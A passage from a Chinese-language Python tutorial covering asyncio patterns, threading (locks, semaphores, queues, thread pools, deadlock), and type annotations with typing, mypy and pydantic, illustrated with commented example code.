import aiohttp

# CPU 密集型任务放到进程池
def heavy_computation(data):
    """在子进程中执行 CPU 密集计算"""
    import time
    time.sleep(1)  # 模拟计算
    return sum(ord(c) for c in data)

async def fetch_and_process(session, url):
    """异步获取数据 + 多进程处理"""
    # 1. 异步获取数据(IO密集)
    async with session.get(url) as resp:
        data = await resp.text()

    # 2. 在进程池中处理数据(CPU密集)
    loop = asyncio.get_event_loop()
    result = await loop.run_in_executor(None, heavy_computation, data)
    return result

async def main():
    urls = ["https://example.com"] * 10

    # 创建进程池
    executor = ProcessPoolExecutor(max_workers=4)

    async with aiohttp.ClientSession() as session:
        tasks = [fetch_and_process(session, url) for url in urls]
        results = await asyncio.gather(*tasks)

    print(results)

asyncio.run(main())
选型常见误区
  • 误区一:多线程一定比串行快——CPU密集型任务用多线程反而更慢(GIL限制)
  • 误区二:异步一定比多线程好——异步需要异步库支持(aiohttp、aiofiles),普通库(requests、open)会阻塞事件循环
  • 误区三:进程越多越好——进程数通常设为CPU核心数,太多反而因切换开销变慢
  • 误区四:GIL是Python的缺陷——GIL让单线程Python更快,且IO操作不受影响。PyPy、Jython没有GIL
  • 误区五:异步代码更复杂——确实有学习曲线,但FastAPI等框架已经大幅简化
# 多线程示例
from concurrent.futures import ThreadPoolExecutor
import time

def download(url):
    time.sleep(1)  # 模拟下载
    return f"{url} 下载完成"

# 线程池
with ThreadPoolExecutor(max_workers=3) as executor:
    urls = ["url1", "url2", "url3", "url4", "url5"]
    results = list(executor.map(download, urls))
    print(results)

# 多进程示例
from concurrent.futures import ProcessPoolExecutor

def compute(n):
    return sum(i * i for i in range(n))

with ProcessPoolExecutor() as executor:
    results = list(executor.map(compute, [10**6, 10**7, 10**6]))
    print(results)
常见错误总结
  • 多线程受 GIL 限制:Python 的 GIL 让多线程不能真正并行计算,但 IO 操作不受影响
  • 多进程的开销:进程创建和通信比线程开销大,适合 CPU 密集型任务
  • 异步需要异步库:用 aiohttp 而不是 requests,用 aiofiles 而不是 open()

25.8 异步上下文管理器

import asyncio
import aiohttp

# 异步上下文管理器:用 async with 管理资源
class AsyncDatabase:
    async def __aenter__(self):
        print("建立数据库连接...")
        await asyncio.sleep(0.5)  # 模拟连接耗时
        self.conn = "connected"
        return self

    async def __aexit__(self, exc_type, exc_val, exc_tb):
        print("关闭数据库连接...")
        await asyncio.sleep(0.1)
        self.conn = None
        return False  # 不抑制异常

    async def query(self, sql):
        await asyncio.sleep(0.1)
        return f"结果: {sql}"

async def main():
    async with AsyncDatabase() as db:
        result = await db.query("SELECT * FROM users")
        print(result)
    # 退出 async with 时自动关闭连接

asyncio.run(main())

25.9 异步生成器

import asyncio

# 异步生成器:逐个产生数据,适合流式处理
async def async_range(n):
    for i in range(n):
        await asyncio.sleep(0.1)  # 模拟异步 IO
        yield i

async def fetch_pages(url_base, total_pages):
    """模拟分页获取数据"""
    async with aiohttp.ClientSession() as session:
        for page in range(1, total_pages + 1):
            async with session.get(f"{url_base}?page={page}") as resp:
                data = await resp.json()
                yield data  # 每页数据逐个产出

async def main():
    # 异步生成器配合 async for 使用
    async for num in async_range(5):
        print(num, end=" ")  # 0 1 2 3 4

    # 异步生成器表达式
    squares = [x async for x in async_range(5)]
    print(squares)  # [0, 1, 4, 9, 16]

asyncio.run(main())

25.10 实战:异步限流与重试

import asyncio
import aiohttp
import logging

logger = logging.getLogger(__name__)

# ===== 限流:控制并发数 =====
class RateLimiter:
    """令牌桶限流器"""
    def __init__(self, rate: float, max_tokens: int):
        self.rate = rate  # 每秒产生的令牌数
        self.max_tokens = max_tokens
        self.tokens = max_tokens
        self.last_refill = asyncio.get_event_loop().time()
        self._lock = asyncio.Lock()

    async def acquire(self):
        async with self._lock:
            now = asyncio.get_event_loop().time()
            elapsed = now - self.last_refill
            self.tokens = min(self.max_tokens, self.tokens + elapsed * self.rate)
            self.last_refill = now

            if self.tokens < 1:
                wait_time = (1 - self.tokens) / self.rate
                await asyncio.sleep(wait_time)
                self.tokens = 0
            else:
                self.tokens -= 1

# ===== 重试装饰器 =====
def async_retry(max_retries=3, delay=1.0, backoff=2.0):
    def decorator(func):
        async def wrapper(*args, **kwargs):
            last_exception = None
            current_delay = delay
            for attempt in range(max_retries + 1):
                try:
                    return await func(*args, **kwargs)
                except Exception as e:
                    last_exception = e
                    if attempt < max_retries:
                        logger.warning(f"第 {attempt+1} 次重试,等待 {current_delay}s: {e}")
                        await asyncio.sleep(current_delay)
                        current_delay *= backoff
            raise last_exception
        return wrapper
    return decorator

# ===== 实战:带限流和重试的批量请求 =====
limiter = RateLimiter(rate=10, max_tokens=20)  # 每秒最多 10 个请求

@async_retry(max_retries=3, delay=1.0)
async def fetch_with_retry(session, url):
    await limiter.acquire()  # 限流
    async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as resp:
        resp.raise_for_status()
        return await resp.json()

async def batch_fetch(urls):
    connector = aiohttp.TCPConnector(limit=50)  # 连接池限制
    async with aiohttp.ClientSession(connector=connector) as session:
        tasks = [fetch_with_retry(session, url) for url in urls]
        results = await asyncio.gather(*tasks, return_exceptions=True)
        return results

# 使用
urls = [f"https://api.example.com/data/{i}" for i in range(100)]
results = asyncio.run(batch_fetch(urls))

25.11 异步编程常见陷阱

陷阱 1:在异步代码中调用同步阻塞函数
import asyncio
import time
import requests  # 同步库!

async def bad_example():
    # ❌ 错误:requests.get 会阻塞整个事件循环!
    resp = requests.get("https://api.example.com")  # 阻塞 2 秒
    # 在这 2 秒内,所有其他协程都无法执行

async def good_example():
    # ✅ 正确:用 aiohttp 替代
    async with aiohttp.ClientSession() as session:
        async with session.get("https://api.example.com") as resp:
            data = await resp.json()

    # ✅ 或者用 run_in_executor 把同步代码放到线程池
    loop = asyncio.get_event_loop()
    resp = await loop.run_in_executor(None, requests.get, "https://api.example.com")
陷阱 2:忘记 await
async def fetch_data():
    await asyncio.sleep(1)
    return {"data": 42}

async def bad():
    # ❌ 忘记 await,result 是协程对象,不是数据
    result = fetch_data()
    print(result)  # <coroutine object fetch_data at 0x...>

async def good():
    # ✅ 正确
    result = await fetch_data()
    print(result)  # {"data": 42}
陷阱 3:在异步代码中使用 threading.Lock
import asyncio
import threading

lock = threading.Lock()  # ❌ 这是线程锁,不是协程锁!

async def bad():
    with lock:  # 会阻塞事件循环
        await asyncio.sleep(1)

async def good():
    async_lock = asyncio.Lock()  # ✅ 用异步锁
    async with async_lock:
        await asyncio.sleep(1)  # 不会阻塞事件循环

第二十六章:多线程详解——threading 从入门到实战

本章导览

上一章我们了解了多线程、多进程和异步的"选型指南"。本章将系统深入地讲解多线程——从最基础的线程创建,到线程同步、线程池、生产者-消费者模式,再到实战中的多线程下载器。多线程是处理 IO 密集型任务的利器,也是面试中的高频考点。

26.1 什么是线程?——"一个厨师同时照看多个灶台"

生活类比

进程 = 一家餐厅。每家餐厅有自己的厨房、食材、厨师(独立的内存空间)。
线程 = 餐厅里的一个厨师。多个厨师共享同一个厨房和食材(共享进程的内存空间),但各自有自己的工作台(栈空间)。

开一家新餐厅(创建进程)很贵——要装修、买设备、招人。但在同一家餐厅里多加一个厨师(创建线程)很便宜——只需要一张工作台。

进程
操作系统分配资源的基本单位。每个进程有独立的内存空间,进程间互不影响。
线程
CPU 调度的基本单位。同一进程内的线程共享内存空间,切换开销比进程小得多。
协程
用户态的轻量级线程。由程序自行调度,不需要操作系统介入,开销最小。
对比项进程(Process)线程(Thread)
内存空间独立(互相隔离)共享(同一进程内)
创建开销大(需要分配内存、加载代码)小(只需要创建栈)
切换开销大(需要切换内存映射)小(只需要切换寄存器)
通信方式管道、队列、共享内存(复杂)直接读写共享变量(简单但危险)
数据安全天然隔离,互不影响需要手动加锁保护
适用场景CPU 密集型(真正并行)IO 密集型(等待时切换)

26.2 创建线程——threading.Thread 基础

Python 标准库提供了 threading 模块来创建和管理线程。最常用的方式是创建 Thread 对象:

import threading
import time

def task(name, seconds):
    """线程要执行的任务"""
    print(f"[{name}] 开始工作")
    time.sleep(seconds)  # 模拟耗时操作
    print(f"[{name}] 工作完成,耗时 {seconds} 秒")

# 创建线程
t1 = threading.Thread(target=task, args=("下载文件A", 2))
t2 = threading.Thread(target=task, args=("下载文件B", 3))

# 启动线程
t1.start()
t2.start()

print("主线程继续做其他事情...")

# 等待线程结束
t1.join()
t2.join()

print("所有线程已完成")
start() vs run()——别搞混了!
  • start():创建一个新线程,在新线程中执行 run() 方法。这是正确用法。
  • run():只是普通的方法调用,在当前线程中执行,不会创建新线程。
# 错误写法——不会创建新线程!
t = threading.Thread(target=task, args=("test", 1))
t.run()  # 在主线程中执行,和直接调用 task("test", 1) 没区别

# 正确写法
t = threading.Thread(target=task, args=("test", 1))
t.start()  # 创建新线程,在新线程中执行

join()——等待线程结束

join() 会阻塞当前线程,直到目标线程执行完毕。如果不调用 join(),主线程不会等待子线程:

import threading
import time

def slow_task():
    time.sleep(2)
    print("子线程完成")

t = threading.Thread(target=slow_task)
t.start()

# 不加 join():主线程不会等待
print("主线程结束")  # 先打印
# 子线程可能还没完成,程序就退出了

# 加 join():主线程会等待
t.join()  # 阻塞,直到 t 执行完毕
print("主线程结束")  # 子线程完成后才打印

daemon 守护线程——"主角退场,配角自动离场"

什么是守护线程?

守护线程(daemon thread)是在后台运行的线程。当所有非守护线程结束时,守护线程会被自动终止,不管它有没有执行完。

典型用途:日志收集、心跳检测、后台监控——这些任务不需要阻止程序退出。

import threading
import time

def background_logger():
    """后台日志线程——每隔 1 秒打印一次"""
    while True:
        print(f"[日志] 系统运行正常...")
        time.sleep(1)

# 设置 daemon=True
logger = threading.Thread(target=background_logger, daemon=True)
logger.start()

# 主线程做正事
time.sleep(3)
print("主线程结束,守护线程自动终止")
# 程序退出时,守护线程被强制终止,不会无限循环
注意:daemon 必须在 start() 之前设置
t = threading.Thread(target=task)
t.start()
t.setDaemon(True)  # 报错!线程已启动,不能再设置 daemon

26.3 线程间通信——共享变量的风险

同一进程内的线程共享内存空间,这意味着多个线程可以直接读写同一个变量。但这会带来竞态条件(Race Condition):

import threading

counter = 0

def increment():
    global counter
    for _ in range(100000):
        counter += 1  # 这不是原子操作!

# 创建 4 个线程同时修改 counter
threads = [threading.Thread(target=increment) for _ in range(4)]
for t in threads:
    t.start()
for t in threads:
    t.join()

print(f"期望值:400000,实际值:{counter}")
# 实际值可能是 287431、312558 等随机数,永远不是 400000
为什么 counter += 1 不安全?

counter += 1 实际上分三步执行:

  1. 读取:从内存读取 counter 的当前值
  2. 计算:在 CPU 中加 1
  3. 写入:将结果写回内存

线程 A 在步骤 1 读到 counter=100,还没来得及写入,线程 B 也读到 counter=100。两个线程都写入 101,结果少加了一次。

这就是为什么我们需要锁(Lock)来保护共享变量。

26.4 线程同步——Lock、RLock、Semaphore

Lock(互斥锁)——"一次只能一个人进卫生间"

import threading

counter = 0
lock = threading.Lock()  # 创建一把锁

def safe_increment():
    global counter
    for _ in range(100000):
        lock.acquire()  # 加锁(获取锁)
        try:
            counter += 1
        finally:
            lock.release()  # 解锁(释放锁)——必须在 finally 中!

threads = [threading.Thread(target=safe_increment) for _ in range(4)]
for t in threads:
    t.start()
for t in threads:
    t.join()

print(f"期望值:400000,实际值:{counter}")  # 一定是 400000

更推荐用 with 语句,自动管理加锁和解锁:

import threading

counter = 0
lock = threading.Lock()

def safe_increment():
    global counter
    for _ in range(100000):
        with lock:  # 自动 acquire 和 release
            counter += 1
Lock 的注意事项
  • 不要忘记释放锁——否则其他线程会永远等待(死锁)
  • 锁的粒度要小——只锁必要的代码段,不要锁整个函数
  • Lock 是不可重入的——同一线程不能 acquire 两次,否则会死锁

RLock(可重入锁)——"自己可以反复进同一扇门"

如果同一线程需要多次获取同一把锁,用 RLock:

import threading

rlock = threading.RLock()

def recursive_function(n):
    with rlock:  # 同一线程可以多次 acquire
        if n > 0:
            print(f"递归层级:{n}")
            recursive_function(n - 1)

recursive_function(3)
# 用普通 Lock 会死锁!RLock 允许同一线程重复获取

Semaphore(信号量)——"卫生间有 3 个隔间,最多 3 个人同时用"

import threading
import time

# 允许最多 3 个线程同时访问
sem = threading.Semaphore(3)

def access_resource(thread_id):
    print(f"线程 {thread_id} 等待进入...")
    with sem:
        print(f"线程 {thread_id} 正在使用资源")
        time.sleep(2)
    print(f"线程 {thread_id} 离开")

# 创建 8 个线程,但同时只有 3 个能进入
threads = [threading.Thread(target=access_resource, args=(i,)) for i in range(8)]
for t in threads:
    t.start()
for t in threads:
    t.join()

Condition(条件变量)——"等通知再动手"

import threading
import time

condition = threading.Condition()
data_ready = False

def producer():
    global data_ready
    time.sleep(2)  # 模拟生产数据
    with condition:
        data_ready = True
        print("生产者:数据已准备好,通知消费者")
        condition.notify()  # 唤醒等待的线程

def consumer():
    with condition:
        while not data_ready:
            print("消费者:数据还没好,等待中...")
            condition.wait()  # 释放锁并等待通知
        print("消费者:收到通知,开始处理数据")

t1 = threading.Thread(target=consumer)
t2 = threading.Thread(target=producer)
t1.start()
t2.start()
t1.join()
t2.join()

26.5 线程安全的数据结构——queue.Queue

多线程编程中,最经典的模式是生产者-消费者模式。Python 的 queue.Queue 是线程安全的队列,不需要手动加锁:

import threading
import queue
import time
import random

# 创建线程安全的队列
q = queue.Queue(maxsize=5)  # 最多容纳 5 个元素

def producer(name):
    """生产者:往队列里放数据"""
    for i in range(5):
        item = f"{name}-商品{i}"
        q.put(item)  # 队列满时会阻塞等待
        print(f"[{name}] 生产了 {item},队列大小:{q.qsize()}")
        time.sleep(random.uniform(0.1, 0.5))

def consumer(name):
    """消费者:从队列里取数据"""
    while True:
        item = q.get()  # 队列空时会阻塞等待
        if item is None:  # 毒丸信号,结束消费者
            break
        print(f"[{name}] 消费了 {item}")
        time.sleep(random.uniform(0.2, 0.8))
        q.task_done()  # 标记任务完成

# 创建 2 个生产者和 3 个消费者
producers = [
    threading.Thread(target=producer, args=(f"生产者{i}",))
    for i in range(2)
]
consumers = [
    threading.Thread(target=consumer, args=(f"消费者{i}",))
    for i in range(3)
]

for t in producers + consumers:
    t.start()

for t in producers:
    t.join()

# 生产者完成后,给每个消费者发"毒丸"让它们退出
for _ in consumers:
    q.put(None)

for t in consumers:
    t.join()

print("所有任务完成")
Queue 的常用方法
方法说明
put(item)放入元素,队列满时阻塞等待
put(item, timeout=5)放入元素,最多等 5 秒,超时抛异常
get()取出元素,队列空时阻塞等待
get(timeout=5)取出元素,最多等 5 秒,超时抛异常
task_done()标记一个任务已完成(配合 join() 使用)
join()阻塞直到队列中所有任务都被 task_done
qsize()返回队列当前大小
empty()判断队列是否为空(不完全可靠)
full()判断队列是否已满(不完全可靠)

26.6 线程池——ThreadPoolExecutor

手动创建线程有几个问题:

concurrent.futures.ThreadPoolExecutor 解决了所有这些问题:

from concurrent.futures import ThreadPoolExecutor, as_completed
import time

def download(url):
    """模拟下载"""
    time.sleep(1)  # 模拟网络请求
    return f"{url} 下载完成,大小 {len(url) * 100}KB"

urls = [
    "https://example.com/file1.zip",
    "https://example.com/file2.zip",
    "https://example.com/file3.zip",
    "https://example.com/file4.zip",
    "https://example.com/file5.zip",
]

# ===== 方式一:map()——按顺序获取结果 =====
with ThreadPoolExecutor(max_workers=3) as executor:
    # max_workers=3 表示最多同时 3 个线程
    results = list(executor.map(download, urls))
    for r in results:
        print(r)
# 结果的顺序和 urls 的顺序一致
# ===== 方式二:submit() + as_completed()——按完成顺序获取结果 =====
with ThreadPoolExecutor(max_workers=3) as executor:
    # 提交所有任务
    future_to_url = {executor.submit(download, url): url for url in urls}

    # 按完成顺序处理结果
    for future in as_completed(future_to_url):
        url = future_to_url[future]
        try:
            result = future.result()  # 获取返回值
            print(f"[完成] {result}")
        except Exception as e:
            print(f"[失败] {url}: {e}")
# ===== 方式三:add_done_callback()——回调函数 =====
def on_done(future):
    """任务完成时自动调用"""
    try:
        result = future.result()
        print(f"[回调] {result}")
    except Exception as e:
        print(f"[回调异常] {e}")

with ThreadPoolExecutor(max_workers=3) as executor:
    for url in urls:
        future = executor.submit(download, url)
        future.add_done_callback(on_done)  # 注册回调
    # 不需要手动遍历 future,回调会自动触发
三种方式怎么选?
  • map():最简单,结果按顺序返回,适合简单的批量任务
  • submit() + as_completed():最灵活,先完成的先处理,适合需要实时反馈的场景
  • add_done_callback():事件驱动风格,适合异步回调场景

26.7 线程间事件通知——threading.Event

Event 是最简单的线程间通信机制——一个线程发出信号,其他线程等待这个信号:

import threading
import time

# 创建事件对象
startup_event = threading.Event()

def wait_for_startup(name):
    """等待系统启动完成"""
    print(f"[{name}] 等待系统启动...")
    startup_event.wait()  # 阻塞,直到事件被 set()
    print(f"[{name}] 系统已启动,开始工作")

def initialize_system():
    """初始化系统"""
    print("[系统] 正在初始化...")
    time.sleep(3)  # 模拟初始化过程
    print("[系统] 初始化完成!")
    startup_event.set()  # 设置事件,所有等待的线程会被唤醒

# 多个线程等待同一个事件
workers = [
    threading.Thread(target=wait_for_startup, args=(f"服务{i}",))
    for i in range(3)
]
init = threading.Thread(target=initialize_system)

for t in workers:
    t.start()
init.start()

for t in workers + [init]:
    t.join()
Event 的常用方法
  • wait(timeout=None):阻塞等待事件被 set。可以设置超时时间
  • set():设置事件标志,唤醒所有等待的线程
  • clear():清除事件标志,之后 wait() 会再次阻塞
  • is_set():检查事件是否被设置

26.8 定时器——threading.Timer

Timer 可以让一个函数延迟指定时间后执行:

import threading

def timeout_action():
    print("超时!执行紧急操作")

# 5 秒后执行 timeout_action
timer = threading.Timer(5.0, timeout_action)
timer.start()

print("主线程继续工作...")
# 如果在 5 秒内完成了工作,可以取消定时器
# timer.cancel()  # 取消定时器,timeout_action 不会执行

timer.join()

26.9 实战:多线程下载器

把前面学到的知识综合起来,实现一个多线程文件下载器:

import threading
import time
import queue
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass
from typing import Optional

@dataclass
class DownloadResult:
    url: str
    success: bool
    size: int = 0
    error: Optional[str] = None
    elapsed: float = 0.0

class MultiThreadDownloader:
    """多线程下载管理器"""

    def __init__(self, max_workers: int = 5):
        self.max_workers = max_workers
        self.results: list[DownloadResult] = []
        self.lock = threading.Lock()  # 保护 results 的锁

    def download(self, url: str) -> DownloadResult:
        """下载单个文件(模拟)"""
        start = time.time()
        try:
            # 模拟下载——实际中用 requests.get()
            import random
            time.sleep(random.uniform(0.5, 2.0))
            size = random.randint(1024, 10240)

            elapsed = time.time() - start
            return DownloadResult(
                url=url, success=True, size=size, elapsed=elapsed
            )
        except Exception as e:
            return DownloadResult(
                url=url, success=False, error=str(e)
            )

    def download_all(self, urls: list[str]) -> dict:
        """批量下载"""
        start = time.time()
        success_count = 0
        fail_count = 0
        total_size = 0

        with ThreadPoolExecutor(max_workers=self.max_workers) as executor:
            # 提交所有任务
            future_to_url = {
                executor.submit(self.download, url): url
                for url in urls
            }

            # 按完成顺序处理结果
            for future in as_completed(future_to_url):
                url = future_to_url[future]
                try:
                    result = future.result()
                    with self.lock:  # 线程安全地更新统计
                        self.results.append(result)
                        if result.success:
                            success_count += 1
                            total_size += result.size
                            print(f"✓ {url} ({result.size}B, {result.elapsed:.2f}s)")
                        else:
                            fail_count += 1
                            print(f"✗ {url} 失败: {result.error}")
                except Exception as e:
                    fail_count += 1
                    print(f"✗ {url} 异常: {e}")

        total_time = time.time() - start
        return {
            "total": len(urls),
            "success": success_count,
            "fail": fail_count,
            "total_size": total_size,
            "time": round(total_time, 2),
        }

# 使用示例
downloader = MultiThreadDownloader(max_workers=3)
urls = [f"https://example.com/file{i}.zip" for i in range(10)]
stats = downloader.download_all(urls)

print(f"\n=== 下载统计 ===")
print(f"总数:{stats['total']},成功:{stats['success']},失败:{stats['fail']}")
print(f"总大小:{stats['total_size']}B,耗时:{stats['time']}秒")

26.10 常见错误与最佳实践

死锁——"你等我,我等你,永远等下去"

import threading

lock_a = threading.Lock()
lock_b = threading.Lock()

def thread1():
    with lock_a:
        print("线程1:获取了 lock_a,等待 lock_b...")
        with lock_b:  # 等待 lock_b(被线程2持有)
            print("线程1:获取了 lock_b")

def thread2():
    with lock_b:
        print("线程2:获取了 lock_b,等待 lock_a...")
        with lock_a:  # 等待 lock_a(被线程1持有)
            print("线程2:获取了 lock_a")

# 死锁!线程1等 lock_b,线程2等 lock_a,谁也不让步
t1 = threading.Thread(target=thread1)
t2 = threading.Thread(target=thread2)
t1.start()
t2.start()
# 程序卡死,永远无法结束
避免死锁的方法
  • 固定加锁顺序:所有线程都按相同顺序获取锁(如总是先 lock_a 再 lock_b)
  • 使用超时:lock.acquire(timeout=5),超时后放弃并重试
  • 减少锁的使用:能用 queue.Queue 就不用手动加锁
  • 使用 with 语句:确保锁一定会被释放

最佳实践总结

多线程编程的 10 条军规
  1. 能用 Queue 就不用 Lock——Queue 是线程安全的,比手动加锁更可靠
  2. 能用线程池就不用手动创建线程——ThreadPoolExecutor 自动管理线程生命周期
  3. 锁的粒度要小——只锁必要的代码段,不要锁整个函数
  4. 用 with 语句管理锁——确保锁一定会被释放
  5. 设置 daemon=True——让后台线程随主线程自动退出
  6. 不要在锁内做耗时操作——会阻塞其他线程
  7. 共享变量要用锁保护——即使是简单的 += 也不是线程安全的
  8. CPU 密集型任务用多进程——多线程受 GIL 限制,无法真正并行
  9. 设置合理的超时时间——避免线程永远阻塞
  10. 优先使用高层 API——concurrent.futures > threading.Thread > 手动管理
常见错误总结
  • 忘记 join():主线程提前退出,子线程被强制终止
  • 忘记 release():锁没有释放,其他线程永远等待
  • 共享变量没加锁:数据竞争导致结果不确定
  • 用 run() 代替 start():没有创建新线程,变成了串行执行
  • daemon 设置时机不对:必须在 start() 之前设置
  • CPU 密集型用多线程:受 GIL 限制,反而比单线程慢

第二十七章:类型注解与静态检查

本章导览

Python 是动态类型语言,变量不需要声明类型。这很灵活,但在大型项目中容易出错——你可能把字符串传给了需要整数的函数。类型注解让你在代码中标注类型,IDE 和工具(如 mypy)能在运行前发现类型错误。这是现代 Python 开发的最佳实践。

27.1 为什么需要类型注解?

Python 是动态类型语言,变量没有类型声明。类型注解让代码更易读,还能用工具在运行前发现 bug:

# 没有类型注解——参数是什么类型?返回什么?
def process(data):
    ...

# 有类型注解——一目了然
def process(data: list[dict[str, int]]) -> list[int]:
    ...

27.2 基础类型注解

# 变量注解
name: str = "张三"
age: int = 18
score: float = 95.5
is_valid: bool = True

# 函数参数和返回值注解
def greet(name: str, times: int = 1) -> str:
    return (f"Hello {name}! ") * times

# 容器类型(Python 3.9+)
numbers: list[int] = [1, 2, 3]
mapping: dict[str, int] = {"a": 1, "b": 2}
coordinates: tuple[float, float] = (3.0, 4.0)
unique: set[int] = {1, 2, 3}
版本兼容性警告

类型注解的写法在不同 Python 版本间有重要差异,直接复制代码到低版本会报 TypeError: 'type' object is not subscriptable:

写法最低版本低版本替代方案
list[int]3.9+from typing import List; List[int]
dict[str, int]3.9+from typing import Dict; Dict[str, int]
int | str3.10+from typing import Union; Union[int, str]
str | None3.10+from typing import Optional; Optional[str]

如果你的项目需要支持 3.8/3.9,请始终使用 typing 模块的写法(大写 List/Dict/Set/Tuple),这是最安全的兼容方案。

27.3 typing 模块

from typing import Union, Optional, Callable, Any

# Union:多种类型之一
def process(value: Union[int, str]) -> str:
    return str(value)

# Python 3.10+ 可以用 | 代替 Union
def process(value: int | str) -> str:
    return str(value)

# Optional:可能是 None(等价于 Union[X, None])
def find(name: str) -> Optional[str]:
    if name == "张三":
        return "找到了"
    return None

# Callable:可调用对象
def apply(func: Callable[[int, int], int], a: int, b: int) -> int:
    return func(a, b)

# Any:任意类型
def debug(value: Any) -> None:
    print(value)

27.4 TypeVar 与泛型

from typing import TypeVar, Generic

T = TypeVar('T')

# 泛型函数
def first(items: list[T]) -> T:
    return items[0]

print(first([1, 2, 3]))      # 推断为 int
print(first(["a", "b"]))     # 推断为 str

# 泛型类
class Stack(Generic[T]):
    def __init__(self) -> None:
        self._items: list[T] = []

    def push(self, item: T) -> None:
        self._items.append(item)

    def pop(self) -> T:
        return self._items.pop()

int_stack: Stack[int] = Stack()
int_stack.push(1)
int_stack.push(2)
print(int_stack.pop())  # 2

27.5 常见类型注解模式

from typing import TypeAlias, Literal, TypedDict

# ===== TypeAlias:给复杂类型起别名 =====
UserId: TypeAlias = int
UserDict: TypeAlias = dict[str, str | int]

def get_user(uid: UserId) -> UserDict:
    return {"id": uid, "name": "张三"}

# ===== Literal:限制参数只能是特定值 =====
def set_direction(direction: Literal["north", "south", "east", "west"]):
    print(f"方向:{direction}")

set_direction("north")   # ✅
# set_direction("up")    # mypy 报错:不是合法的方向

# ===== TypedDict:字典有固定的键和类型 =====
class UserInfo(TypedDict):
    name: str
    age: int
    email: str

def create_user(info: UserInfo) -> None:
    print(f"创建用户:{info['name']}")

create_user({"name": "张三", "age": 18, "email": "test@test.com"})  # ✅
# create_user({"name": "张三"})  # mypy 报错:缺少 age 和 email

27.6 使用 mypy 检查

# 安装 mypy
# pip install mypy

# 运行检查
# mypy your_script.py

# 示例:类型错误会被 mypy 发现
def add(a: int, b: int) -> int:
    return a + b

result = add("hello", "world")  # mypy 报错:str 不能传给 int 参数
# mypy 配置(pyproject.toml)
[tool.mypy]
python_version = "3.10"
warn_return_any = true          # 返回 Any 类型时警告
warn_unused_configs = true      # 未使用的配置项警告
disallow_untyped_defs = true    # 函数必须有类型注解
check_untyped_defs = true       # 检查没有注解的函数
no_implicit_optional = true     # Optional 参数必须显式标注

# 为第三方库添加类型忽略(如果它们没有类型存根)
[[tool.mypy.overrides]]
module = "pandas.*"
ignore_missing_imports = true

[[tool.mypy.overrides]]
module = "requests.*"
ignore_missing_imports = true
# mypy 常用命令行选项
mypy your_script.py                  # 基本检查
mypy --strict your_script.py         # 严格模式(推荐新项目)
mypy --ignore-missing-imports .      # 忽略缺失的类型存根
mypy --show-error-codes your_script.py  # 显示错误代码(方便搜索)
mypy --install-types                 # 自动安装缺失的类型存根

27.7 Protocol——"鸭子类型的类型安全版"

Python 一直推崇"鸭子类型"——只要它走路像鸭子、叫起来像鸭子,它就是鸭子。Protocol 让你在类型层面表达这个理念:

from typing import Protocol

# 定义协议——只要实现了这些方法,就满足这个类型
class Drawable(Protocol):
    def draw(self) -> str: ...
    def get_area(self) -> float: ...

# 这两个类都没有继承 Drawable,但都满足它的"协议"
class Circle:
    def __init__(self, radius: float):
        self.radius = radius

    def draw(self) -> str:
        return f"画圆(半径={self.radius})"

    def get_area(self) -> float:
        return 3.14 * self.radius ** 2

class Rectangle:
    def __init__(self, width: float, height: float):
        self.width = width
        self.height = height

    def draw(self) -> str:
        return f"画矩形({self.width}x{self.height})"

    def get_area(self) -> float:
        return self.width * self.height

# 函数接受任何满足 Drawable 协议的对象
def render(shape: Drawable) -> None:
    print(shape.draw())
    print(f"面积:{shape.get_area()}")

render(Circle(5))        # ✅ mypy 通过
render(Rectangle(3, 4))  # ✅ mypy 通过
# render("hello")        # ❌ mypy 报错:str 不满足 Drawable 协议
Protocol vs ABC(抽象基类)
对比ProtocolABC
是否需要继承不需要(结构化子类型)需要显式继承
检查时机静态检查(mypy)运行时
适用场景第三方类、已有代码自己控制的类层次
灵活性高(鸭子类型)低(必须继承)

27.8 Final、ClassVar、TypeGuard

from typing import Final, ClassVar, TypeGuard

# Final:常量,不能被重新赋值
MAX_SIZE: Final = 100
MAX_SIZE = 200  # mypy 报错:不能修改 Final 变量

# ClassVar:类变量,不会被实例覆盖
class Config:
    version: ClassVar[str] = "1.0.0"   # 所有实例共享
    name: str                           # 每个实例独立

# TypeGuard:类型守卫,告诉 mypy 缩窄类型
def is_string_list(val: list[object]) -> TypeGuard[list[str]]:
    return all(isinstance(x, str) for x in val)

def process(data: list[object]) -> None:
    if is_string_list(data):
        # mypy 知道这里 data 是 list[str]
        print(", ".join(data))  # ✅ 不会报错
    else:
        print("不是字符串列表")

27.9 pydantic——运行时类型校验

类型注解只是"提示",Python 运行时不会检查。如果你需要运行时校验数据,用 pydantic:

from pydantic import BaseModel, Field, field_validator

class User(BaseModel):
    name: str = Field(min_length=1, max_length=50)
    age: int = Field(ge=0, le=150)         # 0 <= age <= 150
    email: str
    tags: list[str] = []                    # 默认值

    @field_validator("email")
    @classmethod
    def validate_email(cls, v: str) -> str:
        if "@" not in v:
            raise ValueError("邮箱必须包含 @")
        return v.lower()

# 创建实例——自动校验
user = User(name="张三", age=25, email="test@EXAMPLE.com")
print(user)             # name='张三' age=25 email='test@example.com' tags=[]
print(user.model_dump())  # 转为字典

# 校验失败会抛出详细的错误
try:
    User(name="", age=200, email="invalid")
except Exception as e:
    print(e)
    # 3 validation errors:
    # name: String should have at least 1 character
    # age: Input should be less than or equal to 150
    # email: 邮箱必须包含 @
# pydantic 常用于 API 请求/响应模型
from fastapi import FastAPI
from pydantic import BaseModel

app = FastAPI()

class ItemCreate(BaseModel):
    name: str
    price: float = Field(gt=0)  # 价格必须大于 0
    description: str | None = None

@app.post("/items")
def create_item(item: ItemCreate):
    # FastAPI 自动校验请求数据,不合法直接返回 422 错误
    return {"item": item.model_dump()}

27.10 from __future__ import annotations

# 在文件顶部加上这行,所有注解都变成字符串,不再求值
# 好处:
# 1. 兼容低版本 Python(3.7+ 就能用 list[int] 语法)
# 2. 支持前向引用(在定义之前引用类名)
# 3. 略微提升导入速度(不需要在导入时求值注解)

from __future__ import annotations

def greet(name: str) -> str:       # 这些注解不会在运行时求值
    return f"Hello {name}"

# 前向引用——在定义之前使用类名
class Tree:
    def __init__(self, left: Tree | None = None):  # 没有 __future__ 会报错
        self.left = left
常见错误总结
  • 类型注解不影响运行:Python 不会检查类型注解,它们只是"提示",需要用 mypy 等工具检查
  • Optional 不是可选参数:Optional[str] 表示可以是 str 或 None,不是"参数可选"(参数可选用默认值 = None)
